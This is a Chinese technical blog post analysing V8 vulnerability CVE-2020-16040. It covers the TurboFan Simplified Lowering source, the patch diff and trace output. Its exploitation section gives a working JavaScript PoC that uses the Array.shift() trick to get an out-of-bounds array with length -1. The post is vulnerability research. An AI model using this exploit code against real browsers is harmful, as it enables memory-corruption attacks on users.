ddme @PortalLab实验室
这是zer0con2021上chrome exploitation议题对应的v8部分的漏洞,里面有一个在v8在改掉checkbound消除操作后的利用手法,即shift,下面是对应的commit。
环境搭建
env:
PATCH_FLAG: true
COMMIT: 1a37d561b2b51c23cd33bdcf4fc1670c404dcb8f
DEPOT_UPLOAD: false
SRC_UPLOAD: true
BINARY_UPLOAD: false
漏洞分析
这个漏洞发生在Simplified Lowering phase的VisitSpeculativeIntegerAdditiveOp函数中,关于turbofan的漏洞我目前接触到的都是通过各种方法使得turbofan把check map/check bound等节点消去,这样我们在对应位置的越界才能成功,再说明白点就是让turbofan对其一些估值偏低,当然这只是目前笔者刚入门所接触到的。
看下diff:
diff --git a/src/compiler/simplified-lowering.cc b/src/compiler/simplified-lowering.cc
index a1f10f9..ef56d56 100644
--- a/src/compiler/simplified-lowering.cc
+++ b/src/compiler/simplified-lowering.cc
IsSomePositiveOrderedNumber(input1_type)
? CheckForMinusZeroMode::kDontCheckForMinusZero
: CheckForMinusZeroMode::kCheckForMinusZero;
-
NodeProperties::ChangeOp(node, simplified()->CheckedInt32Mul(mz_mode));
}
Type left_feedback_type = TypeOf(node->InputAt(0));
Type right_feedback_type = TypeOf(node->InputAt(1));
+
+ // Using Signed32 as restriction type amounts to promising there won't be
+ // signed overflow. This is incompatible with relying on a Word32
+ // truncation in order to skip the overflow check.
+ Type const restriction =
+ truncation.IsUsedAsWord32() ? Type::Any() : Type::Signed32();
+
// Handle the case when no int32 checks on inputs are necessary (but
// an overflow check is needed on the output). Note that we do not
// have to do any check if at most one side can be minus zero. For
right_upper.Is(Type::Signed32OrMinusZero()) &&
(left_upper.Is(Type::Signed32()) || right_upper.Is(Type::Signed32()))) {
VisitBinop<T>(node, UseInfo::TruncatingWord32(),
- MachineRepresentation::kWord32, Type::Signed32());
+ MachineRepresentation::kWord32, restriction);
} else {
// If the output's truncation is identify-zeros, we can pass it
// along. Moreover, if the operation is addition and we know the
UseInfo right_use = CheckedUseInfoAsWord32FromHint(hint, FeedbackSource(),
kIdentifyZeros);
VisitBinop<T>(node, left_use, right_use, MachineRepresentation::kWord32,
- Type::Signed32());
+ restriction);
}
+
if (lower<T>()) {
if (truncation.IsUsedAsWord32() ||
!CanOverflowSigned32(node->op(), left_feedback_type,
那么这个洞的描述上就已经强调了其跳过check的原因,然后我们先来分析一遍SimplifiedLowering阶段吧,因为不分析看不懂,借此机会把此阶段完整分析一遍。
我们先来pipeline.cc 或者直接去Simplified-lowering.cc
//Simplified-lowering.cc:693
void Run(SimplifiedLowering* lowering) {
GenerateTraversal();
RunPropagatePhase(); //【1】
RunRetypePhase(); //【2】
RunLowerPhase(lowering); //【3】
}
在开头有这三个阶段的介绍。
// Representation selection and lowering of {Simplified} operators to machine
// operators are interwined. We use a fixpoint calculation to compute both the
// output representation and the best possible lowering for {Simplified} nodes.
// Representation change insertion ensures that all values are in the correct
// machine representation after this phase, as dictated by the machine
// operators themselves.
enum Phase {
// 1.) PROPAGATE: Traverse the graph from the end, pushing usage information
// backwards from uses to definitions, around cycles in phis, according
// to local rules for each operator.
// During this phase, the usage information for a node determines the best
// possible lowering for each operator so far, and that in turn determines
// the output representation.
// Therefore, to be correct, this phase must iterate to a fixpoint before
// the next phase can begin.
PROPAGATE,
// 2.) RETYPE: Propagate types from type feedback forwards.
RETYPE,
// 3.) LOWER: perform lowering for all {Simplified} nodes by replacing some
// operators for some nodes, expanding some nodes to multiple nodes, or
// removing some (redundant) nodes.
// During this phase, use the {RepresentationChanger} to insert
// representation changes between uses that demand a particular
// representation and nodes that produce a different representation.
LOWER
};
总结一下就是:
-
propagating truncations: 反向数据流分析,传播truncation,并设置restriction_type
-
retyp: 正向数据流分析,重新计算类型,并设置representation
-
lower: 降级(lower)节点或者插入转换(conversion)节点
解释下名词:
-
truncation 字面意思,指明该节点在使用的时候的截断信息
-
restriction_type 用于在retype的时候设置feedback_type
-
feedback_type 用于在Retype phase重新计算type信息
-
representation 节点retype完成之后最终的表示类型
我们一个阶段一个阶段的看,turbofan中提供支持使得我们可以对这些阶段进行trace,对此我们可以拿poc过来。
function foo(a) {
var y = 0x7fffffff; // 2^31 - 1
// Widen the static type of y (this condition never holds).
if (a == NaN) y = NaN;
// The next condition holds only in the warmup run. It leads to Smi
// (SignedSmall) feedback being collected for the addition below.
if (a) y = -1;
const z = (y + 1)|0;
return z < 0;
}
%PrepareFunctionForOptimization(foo);
print(foo(true)); //true
%OptimizeFunctionOnNextCall(foo);
print(foo(false)); //if print false, bug exist
我推荐读者在配过环境之后先跑一遍poc看是否能触发,以此检测环境是否配好,因为若是环境没配对那么浪费的时间将是毫无意义的。
运行./d8 –allow-natives-syntax –trace-representation poc.js
--{Propagate phase}--
visit #48: End (trunc: no-value-use)
initial #47: no-value-use
visit #47: Return (trunc: no-value-use)
initial #44: truncate-to-word32
initial #55: no-truncation (but distinguish zeros)
initial #45: no-value-use
initial #36: no-value-use
[ .... ]
--{Retype phase}--
visit #44: NumberConstant
==> output kRepTaggedSigned
visit #14: NumberConstant
==> output kRepTagged
visit #52: NumberConstant
==> output kRepTagged
visit #0: Start
==> output kRepTagged
[ .... ]
--{Lower phase}--
visit #44: NumberConstant
defer replacement #44:NumberConstant with #58:Int64Constant
visit #14: NumberConstant
visit #52: NumberConstant
visit #0: Start
[ .... ]
可以看到对应阶段的很多细节都很详细的列出了Propagate phase是从下到上,另外两个是从上到下。
源码分析
Propagate Phase
//simplified-lowering.cc:611
void RunPropagatePhase() {
TRACE("--{Propagate phase}--n");
ResetNodeInfoState(); //Clean up for the next phase.
DCHECK(revisit_queue_.empty());
// Process nodes in reverse post order, with End as the root.
for (auto it = traversal_nodes_.crbegin(); it != traversal_nodes_.crend();
++it) {
PropagateTruncation(*it); //调用
while (!revisit_queue_.empty()) { //revisit不为空
Node* node = revisit_queue_.front(); //取出队首
revisit_queue_.pop(); //pop掉
PropagateTruncation(node); //对其再调用一次
}
}
}
===================================================================
// Visits the node and marks it as visited. Inside of VisitNode, we might
// change the truncation of one of our inputs (see EnqueueInput<PROPAGATE> for
// this). If we change the truncation of an already visited node, we will add
// it to the revisit queue.
void PropagateTruncation(Node* node) {
NodeInfo* info = GetInfo(node);
info->set_visited();
TRACE(" visit #%d: %s (trunc: %s)n", node->id(), node->op()->mnemonic(),
info->truncation().description());
VisitNode<PROPAGATE>(node, info->truncation(), nullptr); //对其visit一下,不同阶段不同实现
}
首先可以看到他从crbegin到crend每个都visit了一下,在这个过程中,如果更改了一些已经visit后的节点的truncation ,就会把他加入revisit queue,并且在之后会在对其进行visit一次,我们找一下改truncation的部分。
//PropagateTruncation()->Visitnode()->VisitSpeculativeIntegerAdditiveOp()
template <Phase T>
void VisitSpeculativeIntegerAdditiveOp(Node* node, Truncation truncation,
SimplifiedLowering* lowering) {
Type left_upper = GetUpperBound(node->InputAt(0));
Type right_upper = GetUpperBound(node->InputAt(1));
[ .... ]
VisitBinop<T>(node, UseInfo::TruncatingWord32(),
MachineRepresentation::kWord32, Type::Signed32());//设为Signed32
[ .... ]
===========================================================
// Helper for binops of the R x L -> O variety.
template <Phase T>
void VisitBinop(Node* node, UseInfo left_use, UseInfo right_use,
MachineRepresentation output,
Type restriction_type = Type::Any()) {
DCHECK_EQ(2, node->op()->ValueInputCount());
ProcessInput<T>(node, 0, left_use);
ProcessInput<T>(node, 1, right_use);
for (int i = 2; i < node->InputCount(); i++) {
EnqueueInput<T>(node, i); //这里
}
SetOutput<T>(node, output, restriction_type); //这里
}
这两个标注出来的函数都是根据优化阶段的不同调用不同的实现,彼此之间差别较大
-
EnqueueInput 这个函数先从全局数组里取出node的指定index的输入节点对应的NodeInfo信息,然后调用AddUse来更新info的truncation_字段,从而将truncation反向传播。
-
SetOutput 对于propagate phase,它将更新节点对应的nodeinfo的restriction_type_,并用于后续的retype phase上。
bool AddUse(UseInfo info) {
Truncation old_truncation = truncation_;
truncation_ = Truncation::Generalize(truncation_, info.truncation());
return truncation_ != old_truncation;
}
======================================================
static Truncation Generalize(Truncation t1, Truncation t2) {
return Truncation(
Generalize(t1.kind(), t2.kind()),
GeneralizeIdentifyZeros(t1.identify_zeros(), t2.identify_zeros()));
}
所以最终
visit #55: NumberLessThan (trunc: no-truncation (but distinguish zeros))
initial #45: truncate-to-word32
initial #44: truncate-to-word32
[ .... ]
visit #43: SpeculativeSafeIntegerAdd (trunc: truncate-to-word32)
initial #39: no-truncation (but identify zeros)
initial #42: no-truncation (but identify zeros)
initial #22: no-value-use
initial #36: no-value-use
反向传播截断信息的意义是比较容易就想通的,用结果的取值范围来确定运算数的取值范围,这样能减少不必要的运算,尤其是我们不止是以结果来确定,而是从根开始,走过结果的使用途径来最终确定的截断信息,那么这样如果我们只是要用到未8位的结果,那么我们用64位的数运算就没什么必要,完全可以简化一下提高效率。
Retype phase
前面反向传播截断信息后有必要再正向传播一次吗,应该没有这个必要,那我们下一步应该干什么呢?除了截断信息,还有feedback信息需要拿来供更换节点类型用,所以我们还要来一次feedback的信息传递,来为最后lower节点提供支持。
// Forward propagation of types from type feedback to a fixpoint.
void RunRetypePhase() {
TRACE("--{Retype phase}--n");
ResetNodeInfoState();
DCHECK(revisit_queue_.empty());
for (auto it = traversal_nodes_.cbegin(); it != traversal_nodes_.cend();
++it) {
Node* node = *it;
// Tries to update the feedback type of the node
// Returns true if updating the feedback type is successful.
if (!RetypeNode(node)) continue;
auto revisit_it = might_need_revisit_.find(node);
if (revisit_it == might_need_revisit_.end()) continue;
for (Node* const user : revisit_it->second) {
PushNodeToRevisitIfVisited(user);
}
// Process the revisit queue.
while (!revisit_queue_.empty()) {
Node* revisit_node = revisit_queue_.front();
revisit_queue_.pop();
if (!RetypeNode(revisit_node)) continue;
// Here we need to check all uses since we can't easily know which
// nodes will need to be revisited due to having an input which was
// a revisited node.
for (Node* const user : revisit_node->uses()) {
PushNodeToRevisitIfVisited(user);
}
}
}
}
==================================================
bool RetypeNode(Node* node) {
NodeInfo* info = GetInfo(node);
info->set_visited();
bool updated = UpdateFeedbackType(node); //这里
TRACE(" visit #%d: %sn", node->id(), node->op()->mnemonic());
VisitNode<RETYPE>(node, info->truncation(), nullptr);
TRACE(" ==> output %sn", MachineReprToString(info->representation()));
return updated;
}
=======================================================
bool UpdateFeedbackType(Node* node) {
if (node->op()->ValueOutputCount() == 0) return false;
// For any non-phi node just wait until we get all inputs typed. We only
// allow untyped inputs for phi nodes because phis are the only places
// where cycles need to be broken.
if (node->opcode() != IrOpcode::kPhi) {
for (int i = 0; i < node->op()->ValueInputCount(); i++) {
if (GetInfo(node->InputAt(i))->feedback_type().IsInvalid()) {
return false;
}
}
}
NodeInfo* info = GetInfo(node);
Type type = info->feedback_type();
Type new_type = NodeProperties::GetType(node);
// We preload these values here to avoid increasing the binary size too
// much, which happens if we inline the calls into the macros below.
Type input0_type; //对左右值输入节点调用FeedbackTypeOf
if (node->InputCount() > 0) input0_type = FeedbackTypeOf(node->InputAt(0));
Type input1_type;
if (node->InputCount() > 1) input1_type = FeedbackTypeOf(node->InputAt(1));
[ .... ]
#define DECLARE_CASE(Name)
case IrOpcode::k##Name: {
new_type = Type::Intersect(op_typer_.Name(input0_type, input1_type),
info->restriction_type(), graph_zone());
break;
}
SIMPLIFIED_SPECULATIVE_NUMBER_BINOP_LIST(DECLARE_CASE)
SIMPLIFIED_SPECULATIVE_BIGINT_BINOP_LIST(DECLARE_CASE)
#undef DECLARE_CASE
[ .... ]
====================================================================
Type FeedbackTypeOf(Node* node) { //判断是否有feedback字段被设置,有就用新的,没有用原本的
Type type = GetInfo(node)->feedback_type();
return type.IsInvalid() ? Type::None() : type;
}
我们可以看一下,UpdateFeedbackType 对输入的两值进行FeedbackTypeOf 操作然后后面会有一些宏操作,看看宏
op_typer.Name(input0type, input1type)是将二者重新带入typer截断,计算出相应的type,之后获得的Range(0, 2147483648)将会和info->restriction_type()取交集,我们在上面将他的restriction_type设置为了Type::Signed32(在VisitSpeculativeIntegerAdditiveOp中设置的),也就是range(-2147483648,2147483647)
最终就是将Range(0, 2147483648)和range(-2147483648,2147483647)取交集,最后得到了他的Feedback type: Range(0, 2147483647),之后通过set_feedback_type将这个type更新到nodeinfo的feedback_type字段上。
同样在后面的其他一些涉及到的操作也会用到这一更改的类型,就比如SpeculativeNumberBitwiseOr
我们看到这里应该能感觉到出问题的就是Signed32这个范围看diff也能看出其是在得到Signed32范围处做的改动,很显然是range(0,2147483647)出了问题,而打过补丁后变为了range(0,2147483648)
Lower phase
最后我们要从上往下,遍历节点,将节点通过之前确认的信息lower到更具体的表达
> 当该节点的的output representation与此输入的预期使用信息不匹配时,对节点进行转换(插入ConvertInput),比如对于一个representation是kSigned的node1,若其use节点node2会将其truncation到kWord64,则将会插入ConvertInput函数对该节点进行转换。
// Lowering and change insertion phase.
void RunLowerPhase(SimplifiedLowering* lowering) {
TRACE("--{Lower phase}--n");
for (auto it = traversal_nodes_.cbegin(); it != traversal_nodes_.cend();
++it) {
Node* node = *it;
NodeInfo* info = GetInfo(node);
TRACE(" visit #%d: %sn", node->id(), node->op()->mnemonic());
// Reuse {VisitNode()} so the representation rules are in one place.
SourcePositionTable::Scope scope(
source_positions_, source_positions_->GetSourcePosition(node));
NodeOriginTable::Scope origin_scope(node_origins_, "simplified lowering",
node);
VisitNode<LOWER>(node, info->truncation(), lowering);
}
// Perform the final replacements.
for (NodeVector::iterator i = replacements_.begin();
i != replacements_.end(); ++i) {
Node* node = *i;
Node* replacement = *(++i);
node->ReplaceUses(replacement);
node->Kill();
// We also need to replace the node in the rest of the vector.
for (NodeVector::iterator j = i + 1; j != replacements_.end(); ++j) {
++j;
if (*j == node) *j = replacement;
}
}
}
对于poc里的z < 0,由于z的类型已经被更新到了(0, 2147483647),这个范围显然是在Unsigned32OrMinusZero里的,对于0就更不必说了,所以满足第一个if判断。
//src/complier/simplified-lowering.cc:1991
case IrOpcode::kNumberLessThan:
case IrOpcode::kNumberLessThanOrEqual: {
Type const lhs_type = TypeOf(node->InputAt(0));
Type const rhs_type = TypeOf(node->InputAt(1));
// Regular number comparisons in JavaScript generally identify zeros,
// so we always pass kIdentifyZeros for the inputs, and in addition
// we can truncate -0 to 0 for otherwise Unsigned32 or Signed32 inputs.
if (lhs_type.Is(Type::Unsigned32OrMinusZero()) &&
rhs_type.Is(Type::Unsigned32OrMinusZero())) {
// => unsigned Int32Cmp //这里!!!
VisitBinop<T>(node, UseInfo::TruncatingWord32(),
MachineRepresentation::kBit);
if (lower<T>()) NodeProperties::ChangeOp(node, Uint32Op(node));
[ ... ]
于是最终将NumberLessThan节点给lower到了Uint32Op。
但实际上z的值是-0x80000000,其被当成uint32解析的话就是+0x80000000,这个值显然大于0,所以结果为false。
单是到这里的话,不禁产生疑问,我们怎么借此构建oob array呢,如果说是把大值误认为小我们还可以简单粗暴的越界改长度之类的,但是这是误把负数当无符号整数,那check bound还怎么消?看看前辈的做法。
漏洞利用
一个小trick
arr.shift();
这个函数是用来把数组中的第一个元素从其中删除,并返回第一个元素的值,如果数组是空的,那么此方法将不进行任何操作,返回undefined。
function foo() {
// Type info of `len`:
// Real => 1
// Turbo => Range(-1, 0)
let arr = new Array(len);
arr.shift();
}
可以看到利用的前提就是有个range(-1,0)的值而其真实值为1的值。
会议上的ppt都是用伪码描述的turbolizer生成图的,对应的各个阶段就是
let arr = JSConstruct("Array");
JSCall(arr, "Shift");
TFInlining
let arr = JSCreateArray(len);
/* JSCallReducer::ReduceArrayPrototypeShift */
let length = LoadField(arr, kLengthOffset);
if (length == 0) {
return;
} else {
if (length <= 100) {
DoShiftElementsArray(); // Don't care
/* Update length field */
let newLen = length - 1;
StoreField(arr, kLengthOffset, newLen);
} else /* length > 100 */ {
CallRuntime(ArrayShift);
}
}
JSCreateArray在TypedLowering phase被reduce后的IR
其中StoreField[+12]是对长度进行赋值。
// JSCreateLowering::ReduceJSCreateArray
// JSCreateLowering::ReduceNewArray
let limit = kInitialMaxFastElementArray; // limit : NumberConstant[16380]
// len : Range(-1, 0), real: 1
let checkedLen = CheckBounds(len, limit); // checkedLen : Range(0, 0), real: 1
let arr = Allocate(kArraySize);
StoreField(arr, k[Map|Prop|Elem]Offset, ...);
StoreField(arr, kLengthOffset, checkedLen);
由于CheckBound的存在,本来做的range为(-1,0),和CheckBound范围(0,0)做交集,就成了(0,0),real没变还是1
TFLoadElimination
此阶段和上一阶段各有侧重,此阶段是对于一些赋值操作进行常量折叠等等。
这里来自chrome exploitation解读:CVE-2020-16040漏洞分析与利用(https://www.anquanke.com/post/id/239996#h3-8)
可以看到对于偏移12处(length)的操作略有冗余,先store后load然后减1再load,所以在这一阶段会对其进行优化,优化之后的结果是将#154 CheckBounds 直接作为#133 NumberSubtract 的左值输入,之后因为CheckBound的范围是(0,0) ,是一个常量,而#44也是一个常量1,所以#133在其输入更新后,上方两处常量的运算也会被直接优化掉,将-1输入给134。
完整伪码
let limit = kInitialMaxFastElementArray; // limit : NumberConstant[16380]
// len : Range(-1, 0), real: 1
let checkedLen = CheckBounds(len, limit); // checkedLen : Range(0, 0), real: 1
let arr = Allocate(kArraySize);
StoreField(arr, kMapOffset, map);
StoreField(arr, kPropertyOffset, property);
StoreField(arr, kElementOffset, element);
StoreField(arr, kLengthOffset, checkedLen);
let length = checkedLen;
// length: Range(0, 0), real: 1
if (length != 0) {
if (length <= 100) {
DoShiftElementsArray();
/* Update length field */
StoreField(arr, kLengthOffset, -1); //将-1写入length
}
else /* length > 100 */
{
CallRuntime(ArrayShift);
}
}
最终poc
function foo(a) {
var y = 0x7fffffff;
if (a == NaN) y = NaN;
if (a) y = -1;
let z = (y + 1) + 0;
//Math.sign() 函数返回一个数字的符号, 指示数字是正数,负数还是零
//此函数共有5种返回值, 分别是 1, -1, 0, -0, NaN. 代表的各是正数, 负数, 正零, 负零, NaN
let l = 0 - Math.sign(z); //turbofan认为z是正数,实际为负数,固满足该trick的利用条件
let arr = new Array(l);
arr.shift();
return arr;
}
%PrepareFunctionForOptimization(foo);
foo(true);
%OptimizeFunctionOnNextCall(foo);
// print(foo(false).length);
var oob_arr = foo(false);
print('oob_arr.length: '+oob_arr.length);
var aaa = Array(0x200);
print('oob_arr[15]: '+oob_arr[15]);
有越界数组之后就容易了,就不再演示了。
参考
chrome exploitation解读:CVE-2020-16040漏洞分析与利用
(https://www.anquanke.com/post/id/239996)
往期 · 推荐
原文始发于微信公众号(星阑科技):【技术干货】Chrome-V8-CVE-2020-16040